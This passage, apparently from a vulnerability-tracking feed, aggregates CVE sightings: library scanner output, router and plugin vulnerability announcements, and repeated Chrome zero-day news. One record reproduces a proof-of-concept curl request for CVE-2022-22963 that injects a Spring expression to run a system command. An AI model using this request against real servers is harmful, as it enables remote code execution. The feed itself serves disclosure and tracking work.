5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-1000082", "author": {"login": "automation"}}, {"uuid": "9c841306-1e6d-4fa5-9bbe-90e917731cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.282382+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45702", "content": "Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n $ python3 master_librarian.py -t csv\n $ python3 master_librarian.py -t txt -l 3\n\nMaster librarian v0.3\n Tool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nSearch pitfalls in operational system local packages\n\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\n  Integer overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-7944\n  7.5 HIGH\n\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlib   pcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\n  The default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\n  https://nvd.nist.gov/vuln/detail/CVE-2011-0640\n  6.9 MEDIUM\n\n  plymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\n  https://nvd.nist.gov/vuln/detail/CVE-2010-4176\n  4.0 MEDIUM\n\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0   \nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\n  An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13529\n  2.9 LOW\n\n  systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-13776\n  6.2 MEDIUM\n\n  A heap use-after-free vulnerability was found in systemd before version v245-rc1, where    asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-1712\n  4.6 MEDIUM\n\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix 8.39\nruby-2.7 2.7.0\nglib-2.0 2.64.6\ngnome-system-tools 3.0.0\nxinerama 1.1.4\nnunit 2.6.3\ngmp 6.2.0\nlibevent 2.1.11-stable\nxbuild12 12.0\nxorg-sgml-doctools 1.11\npresentproto 1.2\ngdk-pixbuf-2.0 2.40.0\ninputproto 2.3.2\nlibssl 1.1.1f\nxcb-shm 1.14\ngdk-2.0 2.24.32\nlibpng16 1.6.37\nbigreqsproto 1.1.2\nicu-io 66.1\nxextproto 7.3.0\nlibthai 0.1.28\nlibbsd-overlay 0.10.0\nmount 2.34.0\ngio-2.0 2.64.6\nadwaita-icon-theme 3.36.1\nfontconfig 2.13.1\nxrandr 1.5.2\nmonosgen-2 6.8.0.105\nmono 6.8.0.105\nxf86d   gaproto 2.1\ndri3proto 1.2\nlibpcre 8.39\npangoxft 1.44.7\nblkid 2.34.0\nlibsepol 3.0\nlibevent_openssl 2.1.11-stable\nuuid 2.34.0\ngmodule-2.0 2.64.6\ngraphite2 3.0.1\nlibfl 2.6.4\nzlib 1.2.11\ncairo-pdf 1.16.0\nruby 2.7.0\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13776", "author": {"login": "automation"}}, {"uuid": "e2165df0-6c9e-488b-981a-9f702ba8945e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:05.023938+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mut7jydmri2j", "content": "CVE-2026-86167 - hg10\nThe admin web page on Tenda HG10 routers can be tricked into running any system command by sending a crafted request. This can be done over the network by an attacker, potentially giving\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#hg10 #tenda #CVE #infosec", "vulnerability": "CVE-2026-86167", "author": {"login": "automation"}}, {"uuid": "79e8a39e-0b7e-4b6a-ba5c-9796f4a84fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:08:06.470472+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mut4mpjtgj2w", "content": "\ud83d\udea8 CVE-2026-86218 \u2014 CVSS 10 CRITICAL\n\nN-central is vulnerable to a pre-auth remote code execution This issue affects N-central: before 2026.3.1.14.\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86218\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86218", "author": {"login": "automation"}}, {"uuid": "7c5cd761-6f53-46ba-b9fd-2aa6ef540e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:07:46.171902+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mut4mgrlun2t", "content": "\ud83d\udea8 CVE-2026-75816 \u2014 CVSS 9.8 CRITICAL\n\nThe Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Authentication Bypass to Account Tak...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-75816\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-75816", "author": {"login": "automation"}}, {"uuid": "0e087125-49e3-4106-a20d-4ccb34bf6407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:07:41.662722+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mut4m6cm3o2n", "content": "\ud83d\udea8 CVE-2026-16310 \u2014 CVSS 9.8 CRITICAL\n\nThe MemberDash plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-16310\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-16310", "author": {"login": "automation"}}, {"uuid": "1a45a11c-9d22-4ca3-b42f-87c13ff52025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:07:27.565655+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mut4lvgspe24", "content": "\ud83d\udea8 CVE-2026-86153 \u2014 CVSS 9.4 CRITICAL\n\nA vulnerability has been found in Tenda CP3 27.5.57.101. This affects the function CRedirServer::SetRedirec...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86153\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86153", "author": {"login": "automation"}}, {"uuid": "80b908fd-40c8-47ba-a6f4-9ffe13123dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:07:18.625109+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mut4lmmapm24", "content": "\ud83d\udea8 CVE-2026-86152 \u2014 CVSS 10 CRITICAL\n\nA flaw has been found in Tenda CP3 27.5.57.101. The impacted element is the function CAutoAddWifi::ThreadPr...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86152\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86152", "author": {"login": "automation"}}, {"uuid": "e2ccbf10-e4b0-4e95-8681-f2dd0d11df00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:01:23.358713+00:00", "type": "seen", "source": "https://gist.github.com/ichintu/1e00e905a67cfcaf4dc2abec5f9b5345", "content": "Two critical remote OS command injection vulnerabilities (CVE-2026-86151 and CVE-2026-86148) affect the Tenda CP3 router (firmware 27.5.57.101). Both flaws, rated 9.4/10, stem from improper input handling in the `Apis/system.c` file, specifically within the `sub_2F77E8` and `SystemAsh` functions. Disclosed in early September 2026, they allow remote attackers to execute arbitrary system commands.", "vulnerability": "CVE-2026-86148", "author": {"login": "automation"}}, {"uuid": "5bebb73a-c4d8-496b-988a-ebc507c39f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:01:23.325740+00:00", "type": "seen", "source": "https://gist.github.com/ichintu/1e00e905a67cfcaf4dc2abec5f9b5345", "content": "Two critical remote OS command injection vulnerabilities (CVE-2026-86151 and CVE-2026-86148) affect the Tenda CP3 router (firmware 27.5.57.101). Both flaws, rated 9.4/10, stem from improper input handling in the `Apis/system.c` file, specifically within the `sub_2F77E8` and `SystemAsh` functions. Disclosed in early September 2026, they allow remote attackers to execute arbitrary system commands.", "vulnerability": "CVE-2026-86151", "author": {"login": "automation"}}, {"uuid": "2d68ab79-011e-4474-9f89-2aad20d724e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:06.526185+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mut46qvwjy2j", "content": "CVE-2026-86165 - hg10\nThe web management page of the Tenda HG10 router contains a coding mistake in the part that processes a URL parameter. By sending a specially crafted value, an attacker on the network or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#hg10 #tenda #CVE #infosec", "vulnerability": "CVE-2026-86165", "author": {"login": "automation"}}, {"uuid": "e4d6493f-1606-459f-bdae-311bcab91d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.641309+00:00", "type": "published-proof-of-concept", "source": "Telegram/5og8BXedCn3iZYkJxzPjmGhgIbYV3bjM5ZKENJCDj4t23UY", "content": "", "vulnerability": "CVE-2026-1529", "author": {"login": "automation"}}, {"uuid": "d023ccca-91c8-430c-b884-7752302da80d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.598619+00:00", "type": "published-proof-of-concept", "source": "Telegram/5og8BXedCn3iZYkJxzPjmGhgIbYV3bjM5ZKENJCDj4t23UY", "content": "", "vulnerability": "CVE-2026-18963", "author": {"login": "automation"}}, {"uuid": "3e89270c-e097-4354-ad4e-bda11bb13934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.554508+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48276", "content": "KitPloit - PenTest Tools!\nCVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270 \nTo run the vulnerable SpringBoot application run this docker container exposing it to port 8080.  Example:\n\ndocker run -it -d -p 8080:8080 bobcheat/springboot-public\n\n\nExploit\n\nCurl command:\n\ncurl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\\\"touch /tmp/test\")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'\n\n\nOr using Burp suite:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEilWkK-FPAHhY2QeYOmsLsM-kP1C10az0AOqwJ_niOh9uN1mEZeepHZOtVxi-grt1ZtdY24_cFBoJNPX-0MksoeZtPnEknxVg_GyBumJdWB4TIadM3PpxhyFOT-oToifQDbxJBD3B2F5nR7kxEt6gKYVDAEiLqImwp-DUxjzKgdwb5mrgsKRqU3HDJK=w640-h270 \n\nCredits\n\nhttps://github.com/hktalent/spring-spel-0day-poc\nDownload CVE-2022-22963\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "28709e04-9018-4379-9d2f-f35e889d4df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.511491+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-38003", "author": {"login": "automation"}}, {"uuid": "5de6166a-3a46-4c1b-9a6a-13eb69a9b78a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.474182+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-30633", "author": {"login": "automation"}}, {"uuid": "f1c165ca-58f1-4932-a84b-c7fb745323cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.434959+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4102", "author": {"login": "automation"}}, {"uuid": "f9d72a87-09a5-4953-b915-81fabc4f7d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:05.392269+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 